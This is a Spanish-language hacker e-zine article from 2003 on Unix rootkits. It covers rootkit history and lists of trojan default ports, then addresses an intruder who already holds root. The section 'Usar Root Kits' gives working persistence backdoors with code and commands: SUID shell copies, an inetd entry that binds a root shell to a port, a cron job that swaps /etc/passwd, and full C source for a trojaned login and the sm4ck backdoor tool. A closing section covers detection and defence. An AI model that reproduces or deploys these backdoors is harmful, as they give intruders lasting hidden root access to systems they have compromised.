   ______   ______   ______   ______   ______   ______   ______   ______
  |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____|      
__| |______| |______| |______| |______| |______| |______| |______| |________
----------------------------------------------------------------------------
Codigo     Titulo                                       Autor
SWP03-04   Root Kits                                    sicario
----------------------------------------------------------------------------

								  Mayo, 2003

Tabla de contenido.
  1. Introduccion.
  2. Que son los Root Kits ?
  3. Historia de los Trojan Horses en plataformas Unix.
  4. Usar Root Kits.
  5. Hacer frente a programas maliciosos.


1. Introduccion
   ------------

 Despues de varios dias de analizar un objetivo, logra encontrar la forma de
ingresar, usted esta dentro de  dicho servidor y ya obtuvo el nivel de root.
Como logro el acceso ? No es la finalidad de este articulo el saberlo.
 Lo mas  importante  despues de ingresar a un sistema  y obtener el root, es
asegurar  el que puedas volver a  ingresar sin  necesidad de estar limpiando 
los logs antes  de salir, o volviendo  a ejecutar el  exploit que usaste, ya 
que  eso puedo llevar  mucho tiempo, la solucion a  todo esto es utilizar lo 
que se conoce con el nombre de Root Kits.
 Este articulo esta  orientado al estudio  de los Root Kits, no solo sera de
provecho  a aquellos que esten  iniciandose  en el Hacking,  si no tambien a
todo administrador  de redes que  desee  saber como  protegerse, detectar  y
hacer  frente  a este tipo de aplicaciones. Recuerden que el conocimiento no
solo es accecible por personas con el solo  interes de aprender y usado para
buenos fines, saber como piensa tu enemigo y predecir como va a actuar es un
arma poderosa a tu favor. 

2. Que son los Root Kits ?
   -----------------------

 Es un  conjunto de herramientas, que parchan  y  troyanizan la ejecucion de
procesos en el sistema. Este proceso viola  la integridad de la confianza en
el sistema. Es decir, lo que  hace un Root   Kit es insertar  el Backdoor en
los programas, parchandolo y por consiguiente  rompe el sistema de seguridad
existente.
 Los  Root Kits permiten el  acceso al sistema a traves de puertas traseras,
ya sea abriendo conexiones por determinados puertos no utilizados, alterando
programas ya  existentes, como Telnet, Login, Sendmail, SSH, etc. Al ser  un
acceso a traves de  procesos troyanizados, tu ingreso no sera registrado por
el sistema, por que oculta tu presencia.

3. Historia de los Trojan Horses en plataformas Unix
   -------------------------------------------------

 Ya  quedaron atras  aquellos  del  buen  Rock y donde  saber que era lo que
sucedia con tu sistema, era muy sencillo.
 Solo era  necesario utilizar los comandos basicos y podias deducir si habia
intrusos.
- last: mostraria lo que un intruso estaba usando, donde estaba  revisando y
        cuando estaba en tu sistema.
- ls: mostraria los archivos del intruso.
- ps: mostraria si existe ejecutandoce un Sniffer, un crackeador de claves.
- netstat: mostraria  las conexiones actuales, los  puertos a escucha de una
           conexion.
- ifconfig: te  indicaria si la  interfaz ethernet estaba en modo promiscuo,
            haciendo posible al  Sniffer del intruso la captura de todos los
            paquetes de la red.      
 Se podia confiar en la informacion que nos  proporcionaban estos comandos y
uno  estaba  seguro  de  la no  presencia  de intrusos. Pero  esta  aparente
tranquilidad  no duro  mucho, los  Hackers  empezaron  a desarrollar metodos
para ocultar  su actividad, apoyados en programas creados por ellos para ese
fin, programas que fueron denominados como "Trojan Horses".
 El termino Trojan Horse ( Caballo de Troya ), proviene del  hecho historico
sucedido  en el  asedio a la ciudad de  Troya, donde  los  griegos usaron un
caballo  gigante hecho de madera, para ocultar sus tropas y poder ingresar a
la   ciudad. Con   la  misma  finalidad, los  Trojan  Horses  aparentan  ser
programas  inofensivos, que  usted  conoce  y en los  cuales  confia, por lo
tanto  usted  los  instalara con  plena confianza, una vez  instalado  en el
sistema, el programa troyanizado cumplira la funcion por la cual fue creado,
ocultar la actividad de intrusos.
 Estos metodos y programas fueron documentados por primera vez en articulos,
que fueron publicado en magazines Underground, como 2600 y Phrack.
 Black Tie Affair, escribio un  articulo al  cual denomino "Hiding Out Under
Unix", que fue publicado en el volumen numero  tres de Phrack, Issue 5, File
6, el 25 de Marzo de 1989.
 Luego otros Hackers escribieron programas para  modificar el timestamp y el
tama~o de programas como ls, netstat, ps. Estos  fueron los  primeros Trojan
Horses,  que  se  agruparon y  distribuyeron  como "Root Kits",  programados
originalmente para  la version de Unix, SunOS 4 y posteriormente para Linux.
 En Diciembre de 1996, fue liberado el  Linux Root Kit v3 ( LrK3 ), donde se
mejoraron los programas ya existentes y se a~adio el troyano de TCP wrapper.
Los metodos de este Root Kit fueron los mas usados durante casi 2 a~os  para
ocultar  la actividad  y robar  contrase~as por  medio de Sniffers. Detectar
estos  troyanos  no  era  algo  dificil, si  el  administrador  conocia  los
programas  del  Root  Kit  y  sus  archivos  de  configuracion,  podian  ser
desactivados  facilmente. Otra  tecnica usada, era el de buscar los archivos
modificados en la ultimas 24 horas, con el comando find.
 El  Linux Root Kit v4 ( LrK4 ), hizo su  aparicion en Noviembre de 1998, en
esta  version se a~aden los programas troyanos de pidof, killall, find, top,
crontab.
 Los programas incluidos en este kit son :
	- bindshell       port/shell tipo daemon
	- chfn            Troyanizado, usuario r00t
	- chsh            Troyanizado, usuario r00t
	- crontab         Troyanizado, oculta lineas del crontab
	- du              Troyanizado, oculta archivos
	- find            Troyanizado, oculta archivos
	- fix             Reparador de archivos
	- ifconfig        Troyanizado, oculta el modo promiscuo
	- inetd           Troyanizado, acceso remoto
	- killall         Troyanizado, ejecuta el kill ocultando procesos
	- linsniffer      Sniffer
	- login           Troyanizado, acceso remoto
	- ls              Troyanizado, oculta archivos
	- netstat         Troyanizado, oculta conexiones
	- passwd          Troyanizado, usuario r00t
	- pidof           Troyanizado, oculta procesos
	- ps              Troyanizado, oculta procesos
	- rshd            Troyanizado, acceso remoto
	- sniffchk        Programa para revisar si el Sniffer esta
                          ejecutandoce
	- syslogd         Troyanizado, oculta logs
	- tcpd            Troyanizado, oculta conexiones, evita denegaciones
	- top             Troyanizado, oculta procesos
	- wted            Editor wtmp/utmp
	- z2              Zap2 para borrar utmp/wtmp/lastlog
 En la actualidad existe la version 6 del Linux Root Kit (LrK6).
 Hoy en dia exiten muchos Root Kits, con programas troyanizados y backdoors,
para cada version de Kernel, distribucion de Linux o tipo de Unix, para cada
tipo de aplicacion y version respectiva, que permiten el acceso a un sistema
ocultando la  actividad. El  desarrollo  y uso de Root Kits no se limita tan
solo a plataformas *nix, otras plataformas poseen sus propios Root Kits, con
programas  troyanizados y backdoors. Microsoft y  sus versiones  de Sistemas
Operativos, asi como las aplicaciones que corren  sobre estos SO,  son igual
de vulnerables  a troyanos, pero dejemos tranquilo a Microsoft ya que por si
sola se desacretida.
 Descargar una aplicacion de internet nunca antes fue tan peligroso, como lo
es hoy dia, donde inclusive bajar programas  del mismo FTP del desarrollador
no garantiza un 100% de  confiabilidad.
 Para la  plataforma  Windows  podemos encontrar una variedad innumerable de
Troyanos, para mencionar algunos de ellos:

  Trojan 			Port
----------		   -----------
Satanz Backdoor			666
Silencer			1001
WebEx				1001
Doly Trojan			1011
Psyber Stream Server		1170
Ultors Trojan			1234
VooDoo Doll			1245
FTP99CMP			1492
Shivka-Burka			1600
SpySender			1807
Shockrave			1981
BackDoor			1999
Trojan Cow			2001
Ripper				2023
Bugs				2115
Deep Throat			2140
The Invasor			2140
Phineas Phucker			2801
Masters Paradise		30129
Portal of Doom			3700
WinCrash			4092
ICQTrojan			4590
Sockets de Troie		5000
Sockets de Troie 1.x		5001
Firehotcker			5321
Blade Runner			5400
Blade Runner 1.x		5401
Blade Runner 2.x		5402
Robo-Hack			5569
DeepThroat			6670
DeepThroat			6771
GateCrasher			6969
Priority			6969
Remote Grab			7000
NetMonitor			7300
NetMonitor 1.x			7301
NetMonitor 2.x			7306
NetMonitor 3.x			7307
NetMonitor 4.x			7308
ICKiller			7789
Portal of Doom			9872
Portal of Doom 1.x		9873
Portal of Doom 2.x		9874
Portal of Doom 3.x		9875
Portal of Doom 4.x		10067
Portal of Doom 5.x		10167
iNi-Killer			9989
Senna Spy			11000
Progenic trojan			11223
Hack?99 KeyLogger		12223
GabanBus			1245
NetBus				1245
Whack-a-mole			12361
Whack-a-mole 1.x		12362
Priority			16969
Millennium			20001
NetBus 2 Pro			20034
GirlFriend			21544
Prosiak				22222
Prosiak				33333
Evil FTP			23456
Ugly FTP			23456
Delta				26274
Back Orifice			31337
Back Orifice			31338
DeepBO				31338
NetSpy DK			31339
BOWhack				31666
BigGluck			34324
The Spy				40412
Masters Paradise		40421
Masters Paradise 1.x		40422
Masters Paradise 2.x		40423
Masters Paradise 3.x		40426
Sockets de Troie		50505
Fore				50766
Remote Windows Shutdown 	53001
Telecommando			61466
Devil				65000
The tHing			6400 
NetBus 1.x			12346
NetBus Pro  			20034
SubSeven			1243 
NetSphere			30100
Silencer 			1001 
Millenium 			20000
Devil 1.03 			65000
NetMonitor		        7306 
Streaming Audio Trojan		1170 
Socket23 			30303
Gatecrasher 			6969 
Telecommando 			61466
Gjamer  			12076
IcqTrojen			4950 
Priotrity  			16969
Vodoo 				1245 
Wincrash 			5742
Wincrash2			2583
Netspy				1033
ShockRave 			1981
Stealth Spy  			555 
Pass Ripper  			2023
Attack FTP  			666 
GirlFriend 			21554
Fore, Schwindler		50766
Tiny Telnet Server		34324
Kuang   			30999
Senna Spy Trojans		11000
WhackJob  			23456
Phase0  			555 
BladeRunner 			5400
IcqTrojan 			4950
InIkiller  			9989
PortalOfDoom 			9872
ProgenicTrojan 			11223
Prosiak 0.47	  		22222
RemoteWindowsShutdown  	 	53001
RoboHack  			5569 
Silencer  			1001 
Striker 			2565 
TheSpy 				40412
TrojanCow 			2001 
UglyFtp 			23456
WebEx  				1001 
Backdoor 			1999 
Phineas 			2801 
Psyber Streaming Server 	1509 
Indoctrination  		6939 
Hackers Paradise 		456 
Doly Trojan 			1011
FTP99CMP 			1492
Shiva Burka 			1600
Remote Windows Shutdown		53001
BigGluck			34324
NetSpy DK 			31339
Hack?99 KeyLogger 		12223
iNi-Killer  			9989 
ICQKiller 			7789 
Portal of Doom			9875 
Firehotcker  			5321 
Master Paradise 		40423
BO jammerkillahV 		121 

 Tener  en  cuenta  que  los  puertos  pueden  variar,  estos  son  los  que
corresponde  a  la configuracion  por defecto, pero en su mayoria pueden ser
modificados.

 Para mencionar algunos Root Kits en plataformas *nix tenemos:

lrk3, lrk4, lrk5, lrk6 
Solaris rootkit
FreeBSD rootkit
t0rn
Ambient's Rootkit for Linux (ARK)
SucKIT
OpenBSD rk v1
Illogic rootkit
SK rootkit
kenny-rk 
Adore LKM
ShitC Worm
Omega Worm
Wormkit Worm
Maniac-RK
Ducoci rootkit
x.c Worm
RST.b trojan
duarawkz 
knark LKM
Monkit
Sm4ck
Hidrootkit
Showtee 
Optickit
T.R.K 
Ramen Worm
rh[67]-shaper
RSHA
Romanian rootkit
RK17
Lion Worm
Adore Worm
LPD Worm
sebek LKM
Romanian rootkit
LOC rootkit

4. Usar Root Kits
   -----------------

   A  continuacion  revisaremos  algunos  Root  Kits y metodos clasicos para 
crear Backdoors.

- Sushi.
  Esta tecnica, muy  basica por cierto, conciste en copiar una shell a algun
  directorio oculto, le asignamos los permisos 4755, con la finalidad de que
  podamos  ejecutarla  con cualquier  usuario y siga manteniendo el nivel de
  root, por supuesto  que antes de  ejecutar todo  este  proceso debes tener
  privilegios de root.
  #cp /bin/bash /tmp/.system/shell
  #chmod 4755 /tmp/.system/shell

  Ingresamos como usuario normal y luego ejecutamos la shell.

  #sh /tmp/.system/shell
  #id
  uid=12(user) gid=100(user) euid=0(root) groups=100(user)

  Como podran observar,  mientras no des exit y abandones  la ejecucion de la
  shell, estaras con privilegios de root.

- Sushi seguro.
  Con una simple copia de una shell, perimitimos que pueda ser ejecutada por
  cualquier otro usuario o intruso. Podemos crear un  programa sencillo  que
  nos permita ejecutar una shell y validarla con una clave.

----------- Source 
#include <stdio.h>
#include <stdlib.h>
#define clave "clave"  /* aqui colocamos una clave */
main (void){
   char *key;
   key =(char *)(getpass ("Password:"));
   if (!strcmp(key,secret_passwd)){
	setuid(0); setgid(0); seteuid(0); setegid(0);
	system("/bin/bash");
   }
}
----------- End source

  Compilamos  el programa, asignamos los permisos 4711 y lo  ocultamos. Para
  obtener  nivel de  root  solo hace falta ejecutar el programa, ingresar la
  clave y listo.

- Inetd.
  Colocar backdoors en el Inetd, es una de  las tecnicas basicas mas usadas,
  conciste en a~adir una lidea  en el /etc/inetd.conf que ejecute un troyano
  o un backdoor y este a escucha de que tu te conectes.
  La finalidad del siguiente  ejemplo, es el crear un backdoor con el puerto
  28, que  nos permita  realizar  una conexion y optener una shell con nivel
  de root.
  . Lo  primero  que  debemos  realizar, es  colocar en el /etc/services una 
    linea,  donde  indiquemos  nuestro  proceso  a  ser  ejecutado  desde el 
    /etdc/inetd.conf
	#echo slogin	  28/tcp	  #Secure shell >> /etc/services 
  . Luego procedemos a activar nuestro proceso en el Inetd.
	#echo slogin     stream/tcp    nowait root  /bin/sh sh -i >> /etc/inetd.conf
  . Para que los cambios se vean reflejados y poder  usar  nuestro backdoor,
    necesitamos reiniciar el Inetd.
	#/etc/rc.d/init.d/inet stop
	#/etc/rc.d/init.d/inet star

  Este  solo  es un ejemplo  muy simple del  potencial  explotable que tiene
  el usar el Inetd o el  Xinetd,  ya  que estos se  encargan de ejecutar los
  diversos  servicios  en  una maquina,  podemos  remplazar  ejecutables que
  esten troyanizados, o remplazar programas por backdoors.

- Crontab.
  El  crontab  es otra  de  las herramientas  mas usadas  para crear puertas
  traseras en servidores  crackeados, a  continuacion veremos un ejemplo muy
  simple para usar el Crontab como puerta trasera en un sistema.
  Este  ejemplo  conciste en colocar un  archivo  de passwords por un tiempo
  determinado a una hora  determinada en el  sistema,  de tal manera que nos
  permita el acceso.
  Al lograr penetrar  el  sistema, creamos  un  archivo de passwd, con algun
  usuario  UID y GID 0,  procedemos a  ocultar  el  archivo, en este caso se
  encuentra  como  archivo  oculto  en  /var/spool/mail  con  el  nombre  de
  lost-found. Creamos luego un script, que para este caso  lo llamo  syslog,
  lo ubicamos en /bin/usr como archivo oculto.
  Editamos el cron del sistema.
	#crontab -e
  Adicionamos la siguiente linea:
		0      22      *       *       *       /bin/usr/.syslog
	

----------- Source syslog.c

cp /etc/passwd /etc/.temp
cp /var/spool/mail/.lost-found /etc/passwd
sleep 300
mv /etc/.temp /etc/passwd


----------- End source  

  Esto  nos  permitira  conectarnos todos los dias a las 10:00pm,  durante 5
  minutos, tienen  que tener  en cuenta que  el horario es el de la maquina,
  por  lo  tanto estara  sujeto al horario del lugar donde se encuntre dicha
  maquina.

- Login Backdoor by Localcore.
  Este es un backdoor para Login, fue uno de los primeros troyanos que use.
  Saludos a Sonyy :) 
  Su instalacion conciste en lo siguiente:
	- Copiar el /bin/login a /usr/lib/login
		#cp /bin/login /usr/lib/
	- Asignar los permisos 755 al /usr/lib/login
		#chmod 755 /usr/lib/login
	- Compilamos nuestro troyano
		#tee login.c
		#gcc -O2 login.c -o login
	- Colocamos el troyano en /bin/ y le asignamos los permisos 4755
		#cp login /bin/
		#chmod 4755 /bin/login
  Una vez instalado, nos conectamos de la siguiente manera:
	#export DISPLAY="localhost"; telnet <host>
  Donde "localhost" es la clave  que nosotros podemos  configurar y <host>
  es el host donde tenemos nuestro troyano.

----------- Source login.c

#include <stdio.h>

/* start of user def stuff */
#define OLDLOGIN "/usr/lib/login"
#define LOGINNAME "login"
#define MAGIC_WORD "localhost"

/* end of user def stuff */

/* To make it a bit better looking in strings */

#define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $"

char **exe;

do_back() {
	puts(REVISION);
	putenv("TERM=vt100");
	putenv("HISTFILE=/dev/null");
	execl("/bin/sh","sh","-i",0);
}

main(argc, argv)
	int argc;
	char *argv[];
{
	exe = argv;
	exe[0] = LOGINNAME;
	if ((char *)getenv("DISPLAY") != (char *)NULL)  
 	  if (strncmp(getenv("DISPLAY"),MAGIC_WORD,strlen(MAGIC_WORD)) == 0) 
	     do_back();
	execv(OLDLOGIN,exe);
}


----------- End source

- Sm4ck.
  Este  root kit  creado  por  Sector9  permite  crear  una puerta trasera a 
  travez  del  puerto 31337, el cual  puede ser  modificado, tambien permite
  crear un  suid sh en /tmp y  por ultimo  crea una  cuenta de  nombre hax0r
  con  el uid 0 en /etc/passwd,  el  nombre  de  cuenta  tambien  puede  ser
  modificado. Este root  kit agrupa los backdoors de Sushi, inetd y el crear
  usuarios sin clave.
  Su instalacion conciste en:
	#gcc sm4ck.c -o sm4ck
  Podemos usar cualquier otro nombre para el binario y ocultarlo.
  Al ajecutarlo debemos indicar cual sera su modo de funcionamiento, con los
  siguientes paramatros:
	-p ->  abre el puerto  31337 para ser  accesado a travez d  telnet y 
              obtener una shell con nivel de root.
	-s -> crea un shell con suid en /tmp
	-u -> crea un usuario hax0r con uid0 y sin clave.
  Ejemplo:
	#./sma4ck -p 

---------- Source sm4ck v0.1

#include <stdio.h>
#include <stdlib.h>

#define MAX_OPTIONS		5

char * options_string [MAX_OPTIONS] = 
{"-p: binds a root shell on port 31337.", 
"-s: creates suid sh in /tmp.", 
"-u: creates hax0r uid0 account w/o passwd.",
"-i: information.", 
"-x: contact.\n" }; 
char * options_arg [MAX_OPTIONS] = {"-p", "-s", "-u", "-i", "-x"};

void main(int argc, char * argv[])
{
	int c, d;
	if (argc==1) // no arguments, print out usage
	{
		printf("\n        (sm4ck)\n");
		printf("\n        simple backdoor utility\n");
		printf("        sector9@rewted.org - FEB 1999\n");
                printf("        *must be run as r00t*\n");
                printf("\n");
                 
                for (c=0; c<MAX_OPTIONS; c++)
			printf("\t%s\n", options_string[c]);
		return;
	}
	else
	{
		for (d=1; d<argc; d++)
		{
			FILE *fd;
			if (!strcmp(argv[d], options_arg[0]))
			{
				printf("\n(sm4ck)\n");
                                printf("sector9@rewted.org\n");
				printf("\nadd1ng backd00r... (-p)\n");
				fd=fopen("/etc/services","a+");fprintf(fd,"backdoor        31337/tcp       backdoor\n");                    
				fd=fopen("/etc/inetd.conf","a+");fprintf(fd,"backdoor        stream  tcp     nowait  root    /usr/sbin/tcpd /bin/sh -i\n");               
				execl("killall", "-HUP", "inetd");		
                                printf("\ndone.\n");   
			        printf("telnet to port 31337\n\n");
			}
      			else if (!strcmp(argv[d], options_arg[1]))
			{
                                printf("\n(sm4ck)\n");
                                printf("sector9@rewted.org\n");
				printf("\nadd1ng backd00r... (-s)\n");
				system("cp /bin/sh /tmp/.sh");
			        system("chmod 4711 /tmp/.sh");
				printf("\ndone.\n");
				printf("execute /tmp/.sh\n\n");
			}
			else if (!strcmp(argv[d], options_arg[2]))
			{
                                printf("\n(sm4ck)\n");
                                printf("sector9@rewted.org\n");
				printf("\nadd1ng backd00r... (-u)\n");
				fd=fopen("/etc/passwd","a+");fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
				printf("\ndone.\n");
				printf("uid 0 and gid 0 account added\n\n");
			}
                        else if (!strcmp(argv[d], options_arg[3]))
                        {
                                printf("\n(sm4ck)\n");
                                printf("sector9@rewted.org\n");
                                printf("\n1nf0... (-i)");
			printf("\n 
				p - Adds entries to /etc/services
    				& /etc/inetd.conf giving you
    				a root shell on port 31337.
    				example: telnet <host> 31337
				s - Creates a copy of /bin/sh to
    				/tmp/.sh which, whenever 
    				executed gives you a root
    				shell.
    				example: /tmp/.sh    
				u - Adds an account with uid and
    				gid 0 to the passwd file.
    				The login is 'hax0r' and 
    				there is no passwd.
");
			}
                        else if (!strcmp(argv[d], options_arg[4]))
                        {
                                printf("\nhttp://www.rewted.org\n");
				printf("\nsector9@rewted.org\n\n");
                        }
		}
	}
}

- Revisen  el Linux Root Kit (LrK), que es uno de  los mas completos, dentro
  de sus principales caracteristicas encontraremos:
  . Crontab troyanizado, para ocultar entratadas en el crontab.
  . Find troyanizado, para ocultar archivos al realizar busquedas.
  . Ifconfig troyanizado, para ocultar el sniffing.
  . Inetd troyanizado, para accesos remotos.
  . Login troyanizado, para acceso remoto.
  . Una utilizad para limpiar los logs del utmp/wtmp/lastlog
  Tener cuidado al momento de la instalacion con  la version del LrK que sea
  compatible con la version del Kernel de Linux.

 Para  terminar con  esta parte, me gustaria  citar a  Stealth,  creador del 
Root Kit Adore, quien nos dice:
 "As with any  rootkits, adore IS detectable. It is just a question how good
  the cracker on your honey-pot box is."

5. Hacer frente a programas maliciosos
   -----------------------------------

   Ante todo esta la prevencion, seguir ciertas normas reduce la posibilidad
de comprometer nuestro sistema frente a intrusos. 
- Listas de interes sobre seguridad.
  Estar subscrito  a una lista de interes sobre seguridad es muy importante,
  a traves de  este  medio  puedes  estar  actualizado  con  los reportes de
  incidentes  relacionados  con   seguridad  informatica,  como  son  nuevas
  vulnerabilidades,  bugs,  actualizaciones  para  corregir  dichos  bugs  o
  simplemente  nuevas  versiones  de  software.  Existen  muchas  listas  de
  interes, dentro de las mas importante tenemos:
        .Bugtraq Security Focus: Lista moderada para la discusion y  anuncio
         de vulnerabilidades relacionados con  la seguridad  informatica. Es
         la lista de interes mas importante.
            - http://www.securityfocus.com/cgi-bin/sfonline/subscribe.pl  
        .The CERT Advisory Mailing List: Lista   para   notificar  problemas
         de seguridad relacionados con informatica.
            - http://www.cert.org/contact_cert/certmaillist.html
        .Linux Security Discussion List: Lista  para  discusiones en general 
         sobre seguridad con respecto a Linux.
            - http://www.linuxsecurity.com/general/mailinglists.html
        .Hispasec: Lista  para  notificar  problemas  de seguridad,  esta en 
         Espa~ol.
            - http://www.hispasec.com/directorio/laboratorio/unaaldia.html
        .Listas de seguridad en RedIRIS:
            - http://www.rediris.es/cert/servicios/listas/listserv.es.html
  Ademas es  bueno  estar subscrito a la lista de interes de la distribucion
  de Linux o tipo  de  Unix que uses, muchas  veces estas reportan con mayor
  rapidez problemas de  seguridad o parches para las vulnerabilidades que se
  encuentren en su distribucion.

- Actualizacion de software.
  La  actualizacion  de  las aplicaciones  corriendo en nuestros sistemas es
  otra  medida  importante  a tomar, sin  embargo  es  recomendable  esperar
  algunos  dias  despues del  lanzamiento de  la  nueva  version, se a visto
  muchos  casos  en que algunas  versiones ya estables contenian errores que
  eran  descubiertos  a las  pocas  horas o  dias  despues  de ser puestas a
  disposicion  de  la comunidad, en  el peor  de los  casos dichos programas
  estaban  troyanizados, por  lo tanto  es mejor  esperar por si se reportan
  problemas y si no fuera asi proceder a realizar la actualizacion.

  Estas  son medidas  preventivas, debemos  tener muy claro que preocuparnos
por la integridad de nuestros sistemas es tarea de todos los dias.
  Para  descubrir si nuestro sistema ha sido vulnerado, podemos realizar las
siguientes acciones :

- Revisar los logs.
  La revision de  logs en un sistema ya comprometido podria resultar un poco
absurdo, pero si el intruso aun no ha instalado algun backdoor o troyanizado
las aplicaciones, podriamos  encontrar  cosas  extra~as,  como  conexiones a
lugares inusuales o demonios ejecutandose, que puedan ayudarnos a determinar
si nuestro sistema esta corriendo peligro. 
  Algunos  no muy  experimientados  suelen  limpiar los  logs  dejandolos en
blanco, ya  sea usando algun script para eso o simplemente usando el comando
echo, el  encontrar  logs  vacios,  puede  ser  un  indicio  de  un  sistema
comprometido.  Otros  usan  herramientas  mas completas que solo limpian las
lineas donde hagan referencia a su conexion o  los comandos ejecutados, pero
deben tener en cuenta  que  la ejecucion  de dicha herramienta por parte del
intruso, quedara grabada en el log.
  Si  el  sistema esta  con backdoors o procesos troyanizados, el sistema no
registrara en el log la actividad de un intruso.
  Al  ser  los logs  simples archivos de texto, resulta de gran comodidad al
administrador  el poder  revisarlos, ya sea  con  un simple cat o utilizando
algun  shellscript, esto  a  la vez  implica  que  un atacante pueda ocultar
ciertos registros  con un simple  editor de  texto, por lo  tanto no se debe
confiar ciegamente en los logs generados por el sistema.
 Para  revisar  los  logs hay  que  tener en  cuenta que  la ubicacion y los
archivos generados varian de acuerdo al sistema que se  utilice, en Unix hay
dos familias, los basados en System V y los  basados en  BSD, la  diferencia
fundamental en ambos es el process accounting, que es  el  registro de todos
los programas ejecutados por cada usuario, esto  podria generar  un  consumo
enorme de espacio en disco  dependiendo de  la cantidad de  usuarios, en los
sistemas System V el proccess  accounting  esta desactivado  por defecto, en
los BSD esta activo por defecto.
 Algunos logs del sistema:
.. syslog.
   El archivo  syslog es el mas importante del sistema, su ubicacion esta en
   /var/log o /var/adm. Registra informacion sobre los accesos o intentos de
   accesos a  ciertos  servicios,  es  generado  por  el syslogd, asi que la
   informacion   registrada   varia  de  acuerdo  a  la  configuracion   del
   /etc/syslog.conf
.. mesagges.
   Archivo  donde  se guarda  informacion  de ciertos programas, mensajes de
   baja o media prioridad, como  por  ejemplo  relativos  al  arranque de la
   maquina. Su ubicacion es /var/log o /var/adm
.. wtmp.
   La  informacion de  este archivo esta en formato binario, por lo tanto no
   sera  posible  su  revision  con  un  simple  cat,  es necesario utilizar
   comandos como last.
   Lo  que  nos muestra este archivo es el usuario, el servicio que utilizo,
   desde donde se conecto y la hora, algunos sistemas Unix proporcionan  mas
   informacion, como son IRIX, Solaris. 
   Se encuentra ubicado en /var/log o /var/adm
.. utmp.
   Al  igual  que  wtmp  el  formato  de  este  archivo  es  binario, guarda
   informacion  relacionada  con  la  conexion  de  un usuario en un momento
   determinado, el  programa  /bin/login  crea  un  registro en este archivo
   cuando  el  usuario se  conecta, el  init elimina este registro cuando el
   usuario  se  desconecta. La  visualizacion  de  este  archivo  es posible
   mediante  comandos  como  last -f utmp  o  con  el  comando  who. Algunos
   sistemas unix proporcionan mas informacion.
   La ubicacion de este archivo es /var/log o /var/adm
.. lastlog.
   Este  archivo  en  formato binario guarda informacion sobre la fecha y la
   hora de la  ultima  conexion de  los usuarios, la  visualizacion  de este
   archivo es mediante el uso de comandos como who o finger. Su ubicacion es
   en /var/log o /var/adm

- Busqueda  de archivos  setuid y setgid para el root, se suele dejar copias
de  programas como sh o  time con  el bit de setuid activado, para luego ser
usados y tener privilegios de administrador.
  En  sistemas unix  los permisos  de los  archivos  esta  dado  con numeros
octales  que  varian  entre 000 y 777, sin  embargo es  posible dar permisos
entre  0000 y 7777, como  son los  bits de SGID que tiene el valor 2000 y el
SUID que tiene el valor 4000.
  Para activar el bit SUID y dar permiso de ejecucion a un archivo se asigna
el valor  4777, si realizamos  un ls a un archivo con esta configuracion, se
muestra da la siguiente manera:
		#ls -l ejemplo
	        -rwsrwxrwx   1  root   other        0 Feb  19 18:54 ejemplo*
  El flag s indica que es un archivo con SUID activo, si este fuera S indica
  que esta con el flag activo, pero que no tiene permiso de ejecucion.
		#chmod 4400 ejemplo
		#ls -l ejemplo
		-r-S------   1  root   other        0 Feb  19 19:01 ejemplo*
  Los mismos  ejemplos y el  concepto son aplicable al bit SGID con la unica
diferencia que este se aplica a nivel de  grupo y no a nivel de propietario.
  El bit  suid o sgid en  un  archivo permite  durante  su ejecucion dar los
mismos  privilegios  de   quien  lo creo al  usuario  que este ejecutando el
archivo. El  ejemplo  mas claro  para entender  su peligro es suponiendo que
se realice  una copia de un shell y tenga el bit SUID, cualquier usuario que
ejecute  dicha  shell  poseera  privilegios  de  root  hasta que abandone su
ejecucion (Sushi).
  Se  puede  utilizar el  comando find para realizar una busqueda en todo el
sistema de archivos con el setuid o tambien setgid activo:
		#find / -user root -perm -4000 -print
	Este  ejemplo  realiza  una  busqueda  desde  la  raiz  del arbol de
        directorios del sistema, incluyendo files system NFS/AFS montados.
		#find / -user root -perm -4000 -print -xdev
	Este ejemplo  realiza  la  misma  busqueda, sin incluir files system
        NFS/AFS	montados en el sistema.
        Otro ejemplo es el siguiente :
		#find / \( -perm -4000 -o -perm -2000 \) -type f -print 
        El ejemplo anterior hace una busqueda de files que posea el bit SUID
	asi como del bite SGID. 
  Tambien se puede hacer uso del comando ncheck, que realiza busquedas sobre
  particiones del disco.
		#ncheck -s /dev/sda1
	Este ejemplo realiza una busqueda de archivos setuid en la particion
        sda1.

- Revisar   la  existencia  de  sniffers,  el  sniffing  es  el  ataque   de
interceptacion de datos  en proceso mas conocida y utilizada, esta puede ser
realizada  de  forma  fisica  a  traves de  hardware y  logica  a  traves de
programas.
  El  sniffing  consiste en capturar tramas que circulan por la red mediante
el uso  de un programa  ejecutandose en una maquina conectada o haciendo uso
de un dispositivo enganchado al cableado.
  En las  redes de difusion, el funcionamiento normal de TCP/IP indica en la
trama el destino del paquete, sin embargo todas las maquinas del  dominio de
colision ven esa trama, pero solo la maquina destino la recepciona y elimina
de  la  red, posibilitando que la lectura del paquete puede ser realizada de
cualquier maquina. 
  El sniffing fisico consiste en dispositivos enganchados que se conocen con
el  nombre de  sniffers  de alta impedancia,  debido a  que  se  conectan en
paralelo al cable de tal manera que la impedancia del cable y el dispositivo
es parecido al del cable solo, haciendo dificil tu deteccion.
 Para el sniffing logico es necesario que la tarjeta de red este configurada
en  modo  promiscuo,  para  hacer  funcionar  una  interfaz  de  red en modo
promiscuo  es  necesario tener nivel de  root, esto disminuye minimamente el
riesgo de interceptacion.
 En  las  versiones  de  win 9x  cualquier  usuario  puede convertirse en un
peligro, debido a que  tiene el control total de la maquina y puede instalar
cualquier aplicacion que capture todo el trafico de la red.
 Es  muy  dificil detectar si  existe  algun programa realizando sniffing en
nuestra red, debido a que si nuestro sistema esta troyanizado, la  ejecucion
de estos programas no  seran registrados  ni visualizados en el sistema, por
lo tanto  la solucion  esta en utilizar  programas  seguros  que  transmitan
informacion cifrada como ssh, sftp, implementar SSL, VPN.

- Revisar  servicios  no autorizados, buscar en el /etc/inetd.conf cualquier
cambio con entradas  que ejecuten  programas shell o programas extra~os. Asi
mismo revisa  la activacion de  servicios que tu hayas comentado y que ahora
estan siendo  ejecutados. Otra medida a tomar es revisar cada ejecutable que
es llamado  desde el /etc/inetd.conf  o que este  en el /etc/xinet.d/ con la
finalidad de comprobar que dichos programas no hayan sido troyanizados.
  Tambien revisa los procesos ejecutandose  por  el cron y at, ya que pueden
existir backdoors en ficheros llamados por cron o enviados a at.

- Revisar en  el archivo /etc/passwd la existencia de usuarios con campos no
aceptables para la seguridad.
